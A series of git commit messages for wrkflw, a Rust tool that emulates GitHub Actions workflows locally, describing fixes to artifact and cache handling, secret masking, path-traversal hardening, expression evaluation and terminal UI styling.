Three modules — artifacts.rs, cache.rs, workflow_commands.rs — were
sitting in the crate fully implemented, fully tested, and fully
*unused*. 751 lines of dead code that the compiler was rightly
complaining about. Let's fix that.
ArtifactStore now gets created per workflow run and threaded through
the entire execution context chain (execute_job_batch → job_with_matrix
→ matrix_job → StepExecutionContext). actions/upload-artifact and
actions/download-artifact are emulated inline in execute_step(),
following the same pattern as actions/checkout.
CacheStore is stateless (filesystem-backed at ~/.wrkflw/cache/), so
it gets created on-demand — no threading needed. actions/cache does
restore-or-save in one shot and writes cache-hit to GITHUB_OUTPUT.
Not the full dual-phase model GHA uses, but good enough for local
emulation.
Workflow commands (::set-output::, ::error::, ::warning::, etc.) are
now parsed from step stdout via process_workflow_commands() in all
three step loops (execute_job, execute_matrix_job, composite action).
The deprecated ::set-output:: feeds into step_outputs_map *before*
GITHUB_OUTPUT file processing, so the modern mechanism takes
precedence. ::add-mask:: is logged but not wired to SecretMasker yet
because that requires Arc<Mutex<>> wrapping — deferred to a follow-up.
While at it, added preprocess_with_value() so action with: params
get ${{ }} expression resolution before being used by the emulation
branches.
* fix(executor): fix review findings — cache lifecycle, secret duplication, path traversal
The PR review flagged several real issues. Let's go through them.
CacheStore was being created *per step* inside execute_step, while
ArtifactStore was sensibly created once per workflow run. This meant
parallel matrix jobs would race on the same ~/.wrkflw/cache/
directory with zero coordination. Promote CacheStore to per-run
lifecycle matching ArtifactStore, threading it through
JobExecutionContext → MatrixExecutionContext → StepExecutionContext.
resolve_secrets_for_context was called once in
execute_job_with_matrix (for the matrix path) and then *again* inside
execute_job (for the non-matrix path), completely wasting the first
resolution. Move the call before the matrix/non-matrix branch and
thread the result via a new secrets_context field on
JobExecutionContext.
ExpressionContext was constructed verbatim ~10 times across
engine.rs — 8 fields, every single time. Every new field meant
updating all 10 sites. Add expr_context() and
expr_context_with_env() methods to StepExecutionContext so
this boilerplate collapses to one-line calls.
While at it, add path traversal and symlink protections:
walk_files (artifacts) and copy_dir_contents (cache) now skip
symlinks; artifact upload validates glob results are within the
workspace via canonicalization; cache save/restore validates paths
don't escape the workspace.
* fix(executor): fix review findings — output context, reusable stores, path validation
It turns out that resolve_job_outputs was constructing its
ExpressionContext with an *empty* step_statuses map, so any job
output expression referencing steps.<id>.conclusion would silently
resolve to Null. Not great when you're trying to emulate GHA
faithfully.
While at it, the reusable workflow paths were each creating their
own ArtifactStore rooted at Path::new(".") instead of reusing the
parent workflow's stores. This meant artifacts uploaded in a parent
job were invisible to the reusable workflow, and vice versa. Same
story for inter-job needs context — reusable workflows were passing
empty HashMaps, so multi-job called workflows with `needs:` deps
would get nothing. Let's fix that.
The matrix output overwrite was a known GHA semantic edge case, but
we were silently clobbering previous combinations' outputs. Now we
at least warn about it so nobody spends an afternoon debugging why
needs.build.outputs only has values from the last matrix combo.
Also replaced the naive `path.contains("..")` check in cache path
validation with proper Path::components() inspection, because a
directory literally named "..bar" is not a traversal attack.
* fix(executor): close review findings — path traversal, JobStatus duplication, stale plan.md
The download-artifact emulation was joining user-provided `path`
input directly via ctx.working_dir.join() without ever checking
that the result stays inside the workspace. A crafted `with.path`
containing `../` could write artifact files anywhere on disk.
Add canonicalize + starts_with validation matching the pattern
already used in cache.rs. This was the only action emulation path
missing the check — upload-artifact and cache both had it.
While at it, add a Display impl for JobStatus to kill the three
identical match blocks converting status to "success"/"failure"/
"skipped" strings. StepStatus already had this — JobStatus just
got forgotten.
Also remove plan.md (development scratch file that snuck into the
branch), add TODO comments for reusable workflow secret propagation,
and clarify why GitLab pipelines pass empty needs context maps.
* fix(executor): close review findings — masker wiring, loop dedup, cache eviction
The code review flagged six issues ranging from "this will leak
secrets" to "this will eat your disk." Let's go through them.
The ::add-mask:: workflow command was being parsed and then *thrown
away*. The SecretMasker took &mut self for add_secret(), making it
impossible to call through the shared &SecretMasker references
threaded through step execution. Fix this by switching SecretMasker
to interior mutability (RwLock) so add_secret() takes &self. Now
process_workflow_commands() actually wires AddMask values into the
masker. Secrets no longer appear in plain text in output logs.
The step-execution loops in execute_job and execute_matrix_job were
copy-pasted with minor formatting differences — the kind of thing
that drifts apart over time until someone spends a week debugging
why matrix jobs don't process workflow commands the same way as
regular jobs. Extract a StepLoopState struct with a process_outcome
method that handles status recording, logging, command parsing, and
env file application in one place.
The cache at ~/.wrkflw/cache/ had no eviction and no size limit,
which is the kind of optimism I find *alarming* in something that
writes to the user's home directory. Add a 1 GiB cap with LRU
eviction by mtime, triggered automatically after each save.
While at it: fix cache.rs file_name().unwrap_or_default() to return
a proper error instead of writing to an empty filename, fix
artifacts.rs strip_prefix fallback to error instead of silently
using absolute paths, and aggregate reusable workflow outputs into
the parent JobResult instead of always returning an empty map.
14 new tests covering all the above. 292 tests pass, zero failures.
* fix(executor): harden artifact store, masker locks, and cache prefix matching
It turns out that ArtifactStore was happily accepting names like
"../../escape" and joining them directly onto the artifact root
path. That's a path traversal bug. The artifact name comes from
user workflow `with.name`, so *any* workflow could write outside
the artifact directory. Let's not do that.
Added sanitize_artifact_name() that rejects names containing path
separators, "..", null bytes, or leading dots. Both upload() and
download() now validate before touching the filesystem.
While at it, the upload/download methods were async functions that
did nothing but blocking std::fs calls — which blocks the tokio
runtime thread. Wrapped the file I/O in spawn_blocking so we stop
lying about being async.
SecretMasker's RwLock calls all used .unwrap(), which means a
single panic while holding a write guard poisons the lock and
cascades into panics on every subsequent access. Replaced with
.unwrap_or_else(|e| e.into_inner()) so we recover from poisoned
locks instead of bringing down the whole workflow execution.
CacheStore::find_by_prefix was returning whichever entry read_dir
happened to yield first — completely non-deterministic. Now scans
all entries and picks the one with the newest mtime, which matches
GitHub Actions' behavior of preferring the most recently created
matching key.
Also removed an unnecessary clone in StepLoopState::process_outcome
(Skipped arm was using ref + clone when it could just move), and
fixed pre-existing clippy warnings in the secrets crate tests.
* fix(executor): wrap CacheStore I/O in spawn_blocking, add missing tests
CacheStore was doing all its filesystem I/O — recursive directory
copies, eviction scans, the whole shebang — directly on the async
executor thread. ArtifactStore already knew better and used
spawn_blocking. CacheStore just... didn't. Let's fix that.
Make CacheStore Clone and move restore/save into async wrappers
that offload the real work to spawn_blocking. The internal logic
is unchanged, just properly sequestered where it won't block the
Tokio runtime.
While at it, document the cache save-on-miss divergence from real
GitHub Actions (we save eagerly; GHA uses a post-step hook), add
a proper doc comment explaining the RwLock poison recovery strategy
in SecretMasker, and add unit tests for build_needs_context and
resolve_job_outputs that were previously untested.
* fix(executor): close silent failure modes found in PR review
Four things came out of the review that were all variations of the
same theme: "something goes wrong and nobody hears about it."
The cache restore task was swallowing panics via `.ok()?`, which is
a lovely way to make debugging impossible. Match the error handling
pattern already used in save() — log the panic, return None.
The GITHUB_OUTPUT write for cache-hit was using `let _ =` to discard
I/O errors. This was the *only* silent error discard in the entire
module, which makes it feel less like a deliberate choice and more
like an oversight. Log the failure instead.
`secrets: inherit` on reusable workflows was silently ignored because
the code only handled the mapping case and inherit comes through as
a bare string. Emit an explicit warning so users know their secrets
aren't actually being inherited yet.
While at it, replace `&line[2..]` with `strip_prefix("::")` in the
workflow command parser. The starts_with check above guarantees
safety, but direct byte indexing is fragile and strip_prefix says
what it means.
* fix(executor): fix atomicity, eager save, and untested eviction
Three bugs found during PR review, all quietly waiting to bite
someone:
1. SecretMasker::add_secret() was doing two separate RwLock
acquisitions — one for secret_cache, one for secrets. A concurrent
mask() call between the two writes sees inconsistent state. The fix
is embarrassingly simple: put both collections behind a *single*
RwLock<SecretData>. One lock, one write, no window.
2. The actions/cache emulation was saving eagerly on cache miss,
right there in the step. Real GitHub Actions saves in a post-step
hook that only runs *after all steps complete* and *only if the job
succeeded*. Our eager save could persist stale or incomplete data
into ~/.wrkflw/cache/ and poison future runs. Defer saves into a
Mutex<Vec<PendingCacheSave>> on the step context, flush at
end-of-job conditional on success.
3. The eviction test was, shall we say, *aspirational*. It created
two tiny entries well under the 1 GiB limit, then asserted both
still existed. That's not testing eviction, that's testing storage.
Make max_size configurable on CacheStore, set it to 30 bytes in the
test, and actually verify the oldest entry gets evicted.
* fix(executor): close reusable workflow secrets gap, wire matrix env substitution
The reusable workflow path was passing `None, None` for
secret_manager and secret_masker into child execute_job_batch
calls. This meant that `${{ secrets.* }}` expressions inside
called workflows resolved to null even when the parent had
explicitly passed secrets via the `secrets:` mapping.
That's... not great. Pass the parent's secret_manager and
secret_masker through so secrets actually work in reusable
workflows.
While at it, the matrix job path had a lingering TODO where
job-level env values like `MY_VAR: ${{ matrix.os }}` were
inserted raw without expression substitution. Wire up
preprocess_expressions with the matrix combination context so
these actually resolve. Collect resolved values before
insertion to dodge the borrow checker, which rightfully
complains about mutating job_env while reading from it.
Also add a fast-path to CacheStore::find_by_prefix that checks
the exact key hash before scanning the entire cache directory,
and add integration tests that exercise the artifact upload/
download, cache miss-defer-flush-restore, needs.* context,
step outcome/conclusion, and secrets.* expression paths through
the actual execution wiring — not just the isolated helpers.
* fix(executor): close security holes and correctness bugs from review
The code review turned up some genuinely scary stuff. Let's go
through it.
The artifact download had an unwrap_or(&file_path) fallback that
meant if strip_prefix failed for *any* reason, we'd pass the
absolute file path to Path::join — which silently replaces the
base. So target.join("/etc/passwd") gives you "/etc/passwd".
That's an arbitrary file write. Not great.
The upload side was also doing strip_prefix against the
non-canonical workspace path while the security filter used the
canonical one. Inconsistent canonicalization is how you get path
traversal bugs. Use canonical paths for both.
success() was implemented as `job_status != "failure"`, which
means it returns true when the job is *cancelled*. In real GHA,
success() and cancelled() are mutually exclusive. This also meant
both could be true simultaneously, which is just nonsensical.
The workflow command parser had no URL-decoding at all. GHA
percent-encodes newlines, colons, and percent signs in command
values. Without decoding, ::add-mask:: masks the encoded form
while the actual secret appears unmasked in logs. That's a secret
leak.
Condition evaluation was defaulting to true on parse errors,
silently running steps that should be skipped. A typo in an if:
condition should not mean "yes please run this." Default to false.
secrets: inherit was logging a "not yet supported" warning and
then doing absolutely nothing. Now it actually propagates the
parent secrets to the child workflow, which is what it's supposed
to do.
While at it: filter .cache_key metadata from cache restore,
remove the phantom jobs.*.result context that doesn't exist in
real GHA, make aggregate_reusable_workflow_outputs deterministic,
fix walk_files silently swallowing errors, reject empty
set-output/save-state names, add missing annotation fields, and
stop preprocess_with_value from returning raw ${{ }} templates
on error.
* fix(executor): fix decode ordering, multi-path cache, and missing tests
The decode_value() function in workflow_commands.rs was decoding %25
(percent) *first* in the replacement chain. This means an input like
%250A would first become %0A, and then the next replacement would
happily turn that into a newline. Classic double-decode bug — the
kind of thing that looks correct until someone actually sends a
literal percent sign through the system.
Move %25 decoding to the *end* of the chain, matching what GitHub
Actions actually does.
While at it, actions/cache's `path` input supports multiple
newline-separated paths (e.g. "node_modules\n~/.npm"), but we were
passing the raw multi-line string as a single path. The second path
would just silently not get cached. Fix this by splitting on
newlines and saving/restoring each path independently. The cache
store now uses a composite (key, path) hash so multiple paths under
the same key don't stomp on each other.
Also add the tests that should have been there from the start:
download-artifact path traversal rejection, download-all-artifacts
flow, cache empty key/path validation, cache multi-path deferred
save, and the double-decode regression test.
* fix(executor): close correctness, security, and async safety gaps from review
The PR review turned up a frankly embarrassing number of issues
across the GHA emulation stack. Let's go through the highlights.
The expression evaluator had *multiple* correctness bugs: toJSON()
was emitting unescaped strings (producing invalid JSON), format()
was doing sequential replacements so arg content could be consumed
by later placeholders, fromJSON() was using trim_matches('"')
which strips quotes greedily from both ends, and github.event.*
nested context access silently returned Null because of an overly
strict parts.len() == 2 guard. All fixed.
The secret masker was leaking the first and last characters of
every secret longer than 8 bytes. This is not how you do secret
masking. Replaced with fixed *** output matching GHA behavior.
Also fixed byte/char length confusion on multi-byte secrets,
sorted secrets longest-first to handle overlapping matches, and
added the missing aws_secret and api_key checks to
has_secret_patterns().
Three std::process::Command calls in the Rust action handler were
blocking the tokio runtime. Under parallel matrix execution this
would starve the thread pool. Replaced with tokio::process::Command.
Cache saves were non-atomic — if the process died mid-copy, both
old and new entries were lost. Now writes to a .tmp dir first and
renames into place. While at it, made all .cache_key references
use the CACHE_KEY_METADATA_FILE constant instead of hardcoding the
string in three places.
Other fixes: workflow command parser was trim()ing lines (GHA only
recognizes commands at column 0), INPUT_* env vars were being
logged in verbose output without masking, local reusable workflow
paths had no traversal validation, artifact names with null bytes
were silently stripped instead of rejected, hashFiles() wasn't
checking for symlink traversal, and workflow_commands was
unnecessarily pub.
* fix(executor): fix UTF-8 corruption in expression tokenizer and format()
It turns out the expression tokenizer was storing its input as `&[u8]`
and happily casting individual bytes to `char` via `u8 as char`. This
works fine for ASCII, which is *most* of what GHA expressions contain.
But the moment someone puts a multi-byte UTF-8 character inside a
string literal — say, `format('{0} → {1}', 'a', 'b')` — each byte
of `→` (0xE2 0x86 0x92) gets treated as a separate Latin-1 character.
The arrow becomes `â\u{86}\u{92}`. Not great.
The same bug existed in the `format()` builtin, which iterated
`fmt.as_bytes()` and did the same `u8 as char` dance.
Fix both: change the `Tokenizer` to store `&str` instead of `&[u8]`,
use proper char-aware iteration in `read_string()` (advancing by
`ch.len_utf8()` instead of always 1), and rewrite the `format()`
replacement loop to use `char_indices()`. All the ASCII-only paths
(operators, identifiers, numbers) still use byte-level access since
they only care about ASCII — no performance regression there.
While at it, fix an unnecessary `String::clone` per comparison in
`aggregate_reusable_workflow_outputs` where `sort_by_key` was
cloning the key string. `sort_by(|a, b| a.0.cmp(b.0))` does the
same thing without the allocation.
* refactor(executor): introduce JobServices struct, fix async mutex misuse
The review found that every function in the job/step execution
hierarchy was threading 5-6 individual parameters (secrets_context,
needs_context, needs_results, artifact_store, cache_store) through
their signatures, leading to 15+ argument functions peppered with
#[allow(clippy::too_many_arguments)].
This is not great.
Introduce a JobServices<'a> struct that groups those five fields
into a single borrowing container. JobExecutionContext,
MatrixExecutionContext, and StepExecutionContext all now carry a
`services: JobServices<'a>` instead of five separate fields. The
net result is ~20 fewer lines despite adding a new struct, because
the call sites got dramatically simpler.
While at it, fix the pending_cache_saves Mutex: it was using
std::sync::Mutex in async context. It worked *only* because the
lock was never held across an await point, but that's the kind of
thing that breaks silently the moment someone adds an await inside
the critical section. Switch to tokio::sync::Mutex so the compiler
will actually stop you from doing something stupid.
Also improve CacheStore::new() to fall back to $HOME when
dirs::home_dir() returns None (hello, minimal Docker containers),
and document the github.event.* env-var approximation limitation
in expression.rs so nobody has to rediscover it the hard way.
* fix(executor): address review findings — cache safety, mask perf, missing tests
The cache save_inner claimed to do an "atomic swap" via remove_dir_all
followed by rename. It turns out that two operations are not, in fact,
one operation. If the process dies between the remove and the rename,
the cache entry is just *gone* and the temp dir is orphaned.
Fix the save path to rename-aside-then-swap: old entry goes to `.old`,
`.tmp` renames into place, then `.old` gets cleaned up. Still not truly
atomic (POSIX doesn't give us that for directories), but the window
where the entry is absent is now minimal rather than guaranteed.
While at it, fix three other review findings:
- SecretMasker::mask() was cloning and sorting all secret pairs on
*every single call*. Cache the sorted pairs behind an Option that
invalidates on mutation. The read-path fast-path avoids the write
lock entirely.
- evaluate_condition_with_context now says "failed to parse" instead
of "failed to evaluate" when a condition errors, so users can
actually tell the difference between "your condition is false" and
"your condition is broken syntax and we're skipping your step."
- aggregate_reusable_workflow_outputs silently overwrote colliding
keys from different jobs. Now it warns when that happens, because
non-deterministic output clobbering deserves at least a log line.
Add unit tests for build_needs_context filtering, output key collision
behavior, and empty-input edge cases.
* fix(executor): close correctness, perf, and architecture gaps from review
The PR review turned up a nice collection of things that were either
wrong, wasteful, or unnecessarily messy. Let's go through them.
current_dir().unwrap_or_default() in execute_matrix_job was silently
producing an empty PathBuf on failure, which would then quietly
poison every expression resolution downstream. That's not error
handling, that's *wishful thinking*. Propagate the error properly.
toJSON() had hand-rolled string escaping that missed control chars,
null bytes, and who knows what else. We already depend on serde_json
— just use serde_json::to_string() like a normal person.
SecretMasker::mask() was deep-cloning the entire sorted_pairs Vec on
every single call. With 100 secrets that's ~6KB of allocation per
log line. Wrap it in Arc so the clone is an atomic refcount bump.
pending_cache_saves used tokio::sync::Mutex despite never being held
across an await point. Switch to std::sync::Mutex — no async overhead
for what is fundamentally a synchronous lock-push-unlock pattern.
resolve_job_outputs was silently swallowing expression evaluation
errors and returning empty strings. Now it logs a warning so you
at least have a prayer of debugging broken output references.
The local-file and remote-file branches of execute_reusable_workflow_job
had ~80 lines of duplicated code for env setup, secrets propagation,
batch execution, and result aggregation. Extract run_called_workflow()
so we stop maintaining the same logic in two places that will
inevitably diverge.
While at it, fold secret_manager and secret_masker into JobServices
to reduce the parameter sprawl. Mark with_mask_char as #[cfg(test)]
since create_mask always produces "***". Add tests for toJSON with
control chars, multi-path cache restore, and missing step references.
* fix(executor): close review findings — decode gaps, path hardening, refactor
The PR review caught several real issues that needed addressing.
First, decode_value() in the workflow commands parser was missing
%2C (comma) and %3B (semicolon) from its percent-decoding table.
GitHub Actions encodes these in command parameter values, so any
annotation with a comma in the file path would silently corrupt
the value. Not great when your whole job is to parse these things.
Second, the download-artifact path traversal check was using
unwrap_or_else on a failed canonicalize of the *workspace itself*,
falling back to a potentially-relative path as the safety baseline.
If the workspace path was somehow non-canonical, the starts_with
check becomes meaningless. Now it rejects outright if the workspace
can't be canonicalized.
Third, add_secret was using chars().count() for the min_length
check, which counts Unicode scalar values rather than bytes. This
was an unintentional behavior change from the original len() — a
2-char emoji string at 8 bytes would get rejected despite being
substantial. Reverted to len().
While at it, extracted the three inline action handlers
(upload-artifact, download-artifact, cache) from the 300+ line
execute_step match chain into dedicated handle_* functions. The
function was getting *unwieldy* and this makes each handler
independently testable.
Added tests for: condition parse-error → false behavior change,
format() out-of-bounds placeholders, format() no double-substitution,
%2C/%3B decoding, download-all with empty store, and
process_workflow_commands edge cases.
|
||
|
Gokul
|
0cb27a5484 |
fix(executor): propagate step outputs and resolve env expressions in composite actions (#87)
* fix(executor): propagate step outputs and resolve env expressions in composite actions
It turns out that execute_composite_action was passing an *empty*
step_outputs map to every single composite step. So when
dtolnay/rust-toolchain step 1 wrote toolchain=stable to
GITHUB_OUTPUT, step 6 asked for ${{ steps.parse.outputs.toolchain }}
and got... nothing. Confusion ensues.
But wait, there's more. Step env values containing ${{ }} expressions
(like `toolchain: ${{inputs.toolchain}}`) were never run through the
expression evaluator either. They were shoved into the environment
as literal strings. So the shell variable $toolchain ended up being
the literal text "${{inputs.toolchain}}", which bash was *not*
thrilled about.
Two fixes: (1) maintain a composite_step_outputs map and call
apply_step_environment_updates after each composite step, exactly
like normal job execution already does, and (2) run
preprocess_expressions on step env values before inserting them.
Both of these should have been there from the start.
* fix(executor): detect local composite actions in prepare_action
It turns out that prepare_action() never actually *checked* whether
a local action (uses: ./) was composite. If there was no Dockerfile
it just shrugged and returned PreparedAction::Image("node:20-slim"),
which meant every local composite action silently fell through to
the "echo 'Local action executed'" placeholder.
The composite detection code only existed in the *remote* action
resolution path, so local composite actions were completely broken.
All that nice step-output propagation work? Never reached.
Parse action.yml in the local-action branch and return
PreparedAction::Composite when runs.using == "composite". This is
the same check the remote path already does via action_resolver.
* fix(executor): appease clippy approx_constant lint in test
Using 3.14 as a test value triggers clippy's approx_constant lint
because it's too close to std::f64::consts::PI. Changed to 3.15
which tests the exact same formatting path without making clippy
throw a fit about mathematical constants.
* refactor(executor): hoist action.yml parsing in prepare_action
The local-action branch of prepare_action had the exact same
four-line read-and-parse block copy-pasted in both the Dockerfile
and non-Dockerfile paths. Two copies of the same code, doing the
same thing, for no reason.
Move the action.yml/action.yaml parsing above the Dockerfile
existence check so both branches share a single `definition`
binding. Same behavior, less duplication, one fewer place to
forget to update when something inevitably changes.
|
||
|
Gokul
|
975b340f13 |
feat(executor): add GitHub Actions expression evaluator (#86)
* feat(executor): add GitHub Actions expression evaluator
Add a full expression evaluator for GitHub Actions `${{ }}` syntax,
replacing the regex-only substitution that failed on complex expressions
like those in dtolnay/rust-toolchain.
- Add `inputs.*`, `github.*`, `runner.*` context substitution patterns
- Build recursive-descent expression evaluator with support for:
- Operators: `==`, `!=`, `<`, `<=`, `>`, `>=`, `&&`, `||`, `!`
- String/number/boolean/null literals with GHA-compatible truthiness
- Context resolution: inputs, env, github, runner, matrix, steps
- Built-in functions: contains, startsWith, endsWith, format,
success, failure, always, cancelled
- Integrate evaluator into substitution pipeline for complex expressions
- Replace hardcoded `evaluate_job_condition` with evaluator for `if:`
- Add missing RUNNER_OS, RUNNER_ARCH, RUNNER_NAME env vars
- Add catch-all fallback to prevent bash "bad substitution" errors
* fix(executor): fix correctness bugs in expression evaluator
The expression evaluator landed with a few landmines worth defusing
before they bite someone in production.
First, the EXPRESSION_FALLBACK regex used [^}]* to match expression
content, which breaks the *moment* someone uses format placeholders
like {0} inside an expression. The single } in {0} would terminate
the match early, producing garbage. Fix the regex to
(?:[^}]|\}[^}])* so it only stops at the actual }} delimiter.
Second, NaN was truthy. In IEEE 754, NaN != 0.0 is true, so
is_truthy() would happily report NaN as truthy. GitHub Actions
disagrees. Add !n.is_nan() to match the spec. While at it, guard
to_output_string() with n.is_finite() before the as-i64 cast to
prevent overflow on non-finite values.
Third, preprocess_fallback was dead code — evaluate_remaining_
expressions completely replaced its role in the pipeline. Remove it
and its tests rather than leaving a function that exists only to
confuse future readers.
* refactor(executor): route all expressions through the evaluator
The expression evaluator was added in
|
||
|
Gokul
|
f650f5533c |
feat(ui): overhaul TUI and CLI output (#85)
* feat(ui): overhaul TUI and CLI output for professional look The terminal UI looked like it was thrown together during a hackathon. Colors were hardcoded across 11 files with zero consistency — Color::Green here, Color::Cyan there, emoji like ✅ and ❌ mixed with Unicode symbols like ○ and ⟳, tab dividers using a raw pipe character. This is not great. The core problem was the complete absence of any centralized theming. Every view file was its own little island of ad-hoc styling decisions, and the non-TUI CLI output had *zero* color support despite the colored crate sitting right there in the workspace Cargo.toml, imported by absolutely nobody. So let's fix all of that: - Add theme.rs as single source of truth for colors, styles, symbols, and block/badge helpers. Every view now imports from here instead of hardcoding Color:: literals everywhere. - Replace the inconsistent emoji zoo (✅❌⏭⟳) with proper single-cell-width Unicode symbols (✔✖⊘◉○) that don't render at double width and break column alignment. - Upgrade ratatui 0.23 -> 0.28 and crossterm 0.26 -> 0.28, migrating all the breaking API changes (Frame generics gone, Table::new signature, f.size() -> f.area()). - Add cli_style.rs and wire colored output through all CLI paths — validate, execute, and list commands now have proper colored output with tree-style rendering. - Add braille spinner animation for running workflow states. - Rip out the redundant instruction headers from workflows and logs tabs (the status bar already shows the same hints), reclaiming vertical space. - Clean up the help tab from emoji section headers to properly styled underlined headers with fixed-width key columns. Net result: -418 lines. The UI got *better* and *smaller*. * fix(ui): replace fragile string-matching in status toast with typed severity The status bar was detecting success/error toasts by doing substring matching on the message text — checking for "success", "Success", and the ✔ symbol. It turns out that any message containing the word "success" anywhere (even in an error context) would render with a green background. This is not great. Add a StatusSeverity enum and a set_success_message() helper so callers declare intent explicitly instead of hoping their message text passes a regex-by-vibes check. Also replace the last ✅ emoji in set_status_message calls and swap the double-width 🔒 (U+1F512) LOCK symbol for single-width ⚿ (U+26BF), because the whole point of the theme overhaul was to kill double-width emoji. * fix(ui): align log detection with new Unicode symbols and clean up API The previous commits replaced all user-facing emoji with single-cell Unicode symbols, but *forgot* to update the two places that actually match against those symbols: LogFilterLevel::matches() and log_processor's type detection. So we had the delightful situation where cli_style outputs ✖ on errors, but the log filter is still looking for ❌. The text-based fallbacks ("Error", "WARN", etc.) masked the breakage, but the symbol branches were effectively dead code. While at it, rename set_status_message() to set_error_message() because a generic "set status" method that silently defaults to Error severity is a trap waiting to happen. Both existing call sites are genuine error paths, so the rename is accurate. Also run cargo fmt across the board -- the previous commits left a fair amount of unformatted code behind. * refactor: centralize Unicode symbols into wrkflw-logging The previous commit introduced a proper theme module with Unicode symbols for the TUI, but then three different places independently hardcoded the *same* symbols: theme::symbols, cli_style.rs, and models/mod.rs. Meanwhile, the executor, runtime, and logging crates were still happily emitting double-width emoji into log output. So we had the worst of both worlds: the UI layer had to pattern- match against *both* old emoji and new Unicode to detect log levels, and the "single source of truth" for symbols existed in triplicate. This is not great. Extract a shared `wrkflw_logging::symbols` module that every crate already depends on. theme.rs now re-exports it instead of defining its own copy. cli_style.rs and LogFilterLevel::matches() import from it. All emoji in executor, runtime, and logging are replaced. The old fallback in main.rs error filtering is gone because the executor no longer emits the old symbols. While at it, expand StatusSeverity with Info and Warning variants so "no matches found" shows as a yellow warning toast instead of an angry red error. Because not finding a search result is not an error, it's just disappointing. * fix(ui): stop hammering Docker on every render frame The status bar was calling docker::is_available() on *every single render tick* — that's 4 times per second, each spawning an OS thread, a docker subprocess, and a throwaway tokio runtime. The check has a 3-second timeout, we're calling it every 250ms. This is not great. It turns out that under this kind of self-inflicted load, the check frequently times out and returns false. So Docker shows as "Unavailable" even when it's sitting right there, perfectly happy. The double-nested with_stderr_to_null wrapping wasn't helping either. While at it, the logging crate was also cheerfully eprintln!()-ing warnings while the TUI had the terminal in raw mode, which is how you get "Docker is not available" splattered across the middle of your carefully rendered UI. Confusion ensues. The fix: cache the availability result in App state, seed it from the existing startup check, refresh it every 30 seconds in tick(), and add a quiet_mode flag to the logging crate so it stops writing to stderr while the TUI owns the terminal. Messages still go into the log buffer for the Logs tab — they just don't corrupt the display anymore. |
||
|
Gokul
|
4c0f890ba7 |
docs: clean up READMEs, remove dead files and bloat (#84)
* docs: gut the documentation bloat and remove dead files The documentation had grown into the kind of sprawling mess where the same feature gets explained three times in three different files, none of which agree with each other. The main README alone was 610 lines of duplicated sections, speculative roadmaps, and verbose limitation disclaimers that nobody reads. Remove 12 files that had no business existing: junk test files (hello.cpp, hello.rs, test.py), duplicate agent configs, a 487-line Podman testing manual, unused asciinema recordings, and 7MB of unreferenced GIF files. Merge the useful bits from GITLAB_USAGE.md into the main README where they belong. Rewrite the main README from 610 lines down to ~170. Every feature is mentioned once, in one place, with one example. The crate README now actually lists all 14 crates instead of pretending secrets doesn't exist. Net result: 3,819 lines deleted, 197 added. The documentation now fits in your head, which is the whole point. * docs: update crate READMEs for latest features and trim secrets The crate READMEs were quietly falling behind the actual code. The executor README didn't mention --job, environment file read-back, or job-level container directives. The UI README didn't mention job selection mode or the tui feature flag. The evaluator README didn't mention composite action input cross-checking. Meanwhile, the secrets README was 387 lines of documentation for a crate whose siblings average 25. It had full provider configuration examples, rate limiting docs, input validation specs, and benchmarking instructions — all of which belong in rustdoc, not a README that's supposed to give you a quick overview. Trim secrets to ~80 lines. Update executor, ui, evaluator, and wrkflw READMEs to reflect features from PRs #77-#83. |
||
|
Gokul
|
6aa0a380f9 |
feat(executor): add GitHub Actions environment file read-back (#83)
* feat(executor): add GitHub Actions environment file read-back
After each step executes, read back GITHUB_OUTPUT, GITHUB_ENV,
GITHUB_PATH, and GITHUB_STEP_SUMMARY files to enable inter-step
data flow — the single highest-value GHA emulation improvement.
- Add github_env_files module with parser for GHA key-value format
(simple key=value and multiline heredoc key<<DELIMITER)
- Read GITHUB_OUTPUT after each step, store outputs keyed by step ID
- Merge GITHUB_ENV entries into job env for subsequent steps
- Prepend GITHUB_PATH entries to PATH for subsequent steps
- Add ${{ steps.<id>.outputs.<key> }} expression substitution
- Add ${{ env.<name> }} expression substitution
- Extend StepResult with outputs field for parsed step outputs
- Restructure execute_job() loop to allow job_env mutation between
steps using deadline-based timeout instead of async block wrapper
* fix(executor): fix env file read-back bugs and deduplicate post-step logic
The previous commit added environment file read-back but had a few
issues that would bite in real workflows.
First, the heredoc parser was checking for `<<` before checking for
`=`, which means a value like `url=https://example.com/path<<EOF`
would be misinterpreted as a heredoc start. The fix is obvious: the
key before `<<` must actually be a valid identifier, not just "any
non-empty string". Add is_valid_identifier() to enforce that.
Second, GITHUB_ENV and GITHUB_PATH files were never truncated between
steps. Since we read and merge their *entire* contents after each
step, step 2 would re-process step 1's entries, causing duplicate
PATH entries to accumulate O(n²) with each step. We already merge
into job_env which is the source of truth — just truncate all three
files after read-back.
Third, the ~25 lines of post-step read-back logic were copy-pasted
between execute_job and execute_matrix_job. Extract into
apply_step_environment_updates() so there's exactly one place to
maintain this.
While at it, add tests for the heredoc ambiguity, unterminated
heredocs, the apply helper, and — most importantly — a multi-step
test that verifies PATH entries don't duplicate across steps.
* fix(executor): remove dead StepResult.outputs field and fix timeout regression
The previous commit added an `outputs: HashMap<String, String>` field
to StepResult, but *never actually populated it* — every single
construction site (all 20 of them) just sets it to HashMap::new().
The real step outputs live in step_outputs_map inside the job loop,
completely bypassing this field.
A dead field that looks like it should contain data is worse than no
field at all. It's a trap for the next person who tries to read step
outputs through the obvious API. Remove it.
While at it, fix two issues in the execute_job timeout refactor:
The pre-loop `remaining.is_zero()` check was redundant — passing
Duration::ZERO to tokio::time::timeout already does the right thing.
Having both just produced duplicate log messages.
More importantly, the old timeout handler returned the timeout
reason in JobResult.logs. The refactored version just broke out of
the loop and lost that context entirely. Preserve it.
Also document why clear_step_files intentionally skips
GITHUB_STEP_SUMMARY (it's cumulative across steps in real GHA).
* fix(runtime): fix emulation command execution mangling bash -c scripts
It turns out the emulation runtime was joining the entire command
array into a single string and passing it to `sh -c`. This means
`bash -c <multiline-script>` became `sh -c "bash -c word1 word2
..."`, where sh happily re-split the script into separate words and
bash's -c only got the first one.
The result: every `run:` step *appeared* to succeed (exit 0) but
the actual script body never executed properly. Redirects like
`>> $GITHUB_OUTPUT` were captured by the outer sh instead of the
inner bash, so environment file write-back silently wrote garbage.
Fix this by executing known interpreters (bash, sh, python, pwsh)
directly via Command::new(cmd[0]).args(&cmd[1..]), preserving the
script as a single argument. Unknown commands still fall back to
sh -c for shell builtin and pipeline support. This also collapses
the three separate code paths (simple commands, cargo, fallback)
into one unified path, which is just less code to get wrong.
While at it, fix a second bug in apply_step_environment_updates
